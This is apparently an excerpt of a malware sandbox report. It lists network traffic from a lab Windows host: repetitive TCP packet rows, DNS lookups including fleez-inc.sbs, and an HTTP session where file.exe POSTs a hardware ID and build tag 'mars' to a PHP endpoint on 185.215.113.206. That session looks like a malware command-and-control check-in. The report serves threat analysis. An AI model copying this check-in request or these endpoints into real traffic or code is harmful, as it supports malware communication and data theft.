Nov 12, 2024 21:22:09.498164892 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.498173952 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498203039 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.498230934 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.498411894 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498424053 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498435020 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498472929 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.498509884 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.498548985 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498615026 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.498677969 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498691082 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498735905 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.498845100 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498857021 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498867989 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498878002 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498888969 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498898029 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.498898983 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498913050 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498924971 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498924971 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.498935938 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498948097 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498959064 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498960972 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.498970032 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498990059 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.498999119 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499034882 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499089956 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499103069 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499108076 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499119043 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499129057 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499139071 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499140024 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499161005 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499170065 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499174118 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499186993 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499226093 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499253035 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499264956 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499274969 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499286890 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499301910 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499316931 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499351978 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499439001 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499454021 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499464035 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499475956 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499485970 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499494076 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499510050 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499521017 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499521017 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499533892 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499536037 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499547005 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499558926 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499566078 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499569893 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499583960 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499593019 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499599934 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499608994 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499612093 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499624014 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499628067 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499639988 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499654055 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499655008 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499665976 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499676943 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499686003 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499691010 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499701977 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499708891 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499718904 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499731064 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499758959 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499778032 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499806881 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499818087 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499830961 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499840975 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.499857903 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.499893904 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500181913 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500202894 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500214100 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500225067 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500230074 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500236988 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500247955 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500260115 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500266075 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500278950 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500291109 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500300884 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500302076 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500317097 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500324965 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500339985 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500340939 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500353098 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500364065 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500370979 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500375986 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500387907 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500400066 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500399113 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500416040 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500418901 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500428915 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500441074 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500451088 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500452995 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500469923 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500477076 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500489950 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500498056 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500502110 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500514030 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500521898 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500524998 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500536919 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500541925 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500547886 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500559092 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500566959 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500571012 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500582933 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500586987 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500606060 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500612020 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500623941 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500627041 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500637054 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500648975 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500659943 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500664949 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500670910 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500673056 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500683069 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500694036 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500705004 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500715017 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500718117 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500726938 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500736952 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500746965 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500752926 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500754118 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500762939 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500765085 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500785112 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500792980 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500797033 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500809908 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500812054 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500821114 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500833035 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500838995 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500845909 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.500863075 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.500880957 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.502815008 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.502826929 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.502837896 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.502866030 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.502907038 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.502964020 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.502976894 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503006935 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503019094 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503150940 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503196955 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503216028 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503228903 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503240108 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503251076 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503258944 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503267050 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503272057 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503281116 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503304005 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503329992 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503365040 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503377914 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503387928 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503397942 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503407955 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503412962 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503420115 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503429890 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503438950 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503443003 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503448963 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503475904 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503498077 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503535986 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503549099 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503559113 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503568888 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503578901 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503581047 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503590107 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503599882 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503602028 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503613949 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503624916 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503634930 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503648043 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503662109 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503669024 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503684998 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503721952 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503734112 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503743887 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503772974 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503794909 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503807068 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503817081 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503818035 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503829956 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503840923 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503853083 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503880978 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503890038 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503901958 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503911972 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503923893 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503928900 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503936052 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.503962040 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.503979921 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.504039049 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504056931 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504067898 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504079103 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504087925 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.504090071 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504101992 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504112005 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504116058 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.504137993 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504143000 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.504151106 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504158020 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.504190922 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.504203081 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504219055 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504229069 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504240036 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504240990 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.504255056 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504267931 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504271984 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.504280090 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504304886 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.504326105 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.504349947 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504360914 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504373074 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504385948 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.504416943 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.504574060 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504586935 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504630089 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.504707098 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504725933 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504738092 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.504748106 CET	80	49798	185.215.113.16	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 12, 2024 21:21:23.908727884 CET	192.168.2.4	1.1.1.1	0x7343	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 21:21:23.908870935 CET	192.168.2.4	1.1.1.1	0xa94c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 12, 2024 21:21:27.458475113 CET	192.168.2.4	1.1.1.1	0xdfe4	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 21:21:27.458636999 CET	192.168.2.4	1.1.1.1	0x56e7	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 12, 2024 21:21:28.451040983 CET	192.168.2.4	1.1.1.1	0x373d	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 21:21:28.451190948 CET	192.168.2.4	1.1.1.1	0x487a	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 12, 2024 21:22:11.262270927 CET	192.168.2.4	1.1.1.1	0xb997	Standard query (0)	fleez-inc.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 12, 2024 21:21:23.915797949 CET	1.1.1.1	192.168.2.4	0x7343	No error (0)	www.google.com		142.250.185.68	A (IP address)	IN (0x0001)	false
Nov 12, 2024 21:21:23.916459084 CET	1.1.1.1	192.168.2.4	0xa94c	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 12, 2024 21:21:27.466573954 CET	1.1.1.1	192.168.2.4	0x56e7	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 21:21:27.466626883 CET	1.1.1.1	192.168.2.4	0xdfe4	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 21:21:27.466626883 CET	1.1.1.1	192.168.2.4	0xdfe4	No error (0)	plus.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 12, 2024 21:21:28.457895994 CET	1.1.1.1	192.168.2.4	0x373d	No error (0)	play.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 12, 2024 21:22:11.303169966 CET	1.1.1.1	192.168.2.4	0xb997	No error (0)	fleez-inc.sbs		172.67.150.243	A (IP address)	IN (0x0001)	false
Nov 12, 2024 21:22:11.303169966 CET	1.1.1.1	192.168.2.4	0xb997	No error (0)	fleez-inc.sbs		104.21.0.123	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	185.215.113.206	80	7472	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:21:18.279275894 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 21:21:19.183103085 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 21:21:19.186359882 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBFBFCBFBKECAAKJKFB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 42 36 31 44 43 42 31 33 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------GDBFBFCBFBKECAAKJKFBContent-Disposition: form-data; name="hwid"E3B61DCB13684217651120------GDBFBFCBFBKECAAKJKFBContent-Disposition: form-data; name="build"mars------GDBFBFCBFBKECAAKJKFB--
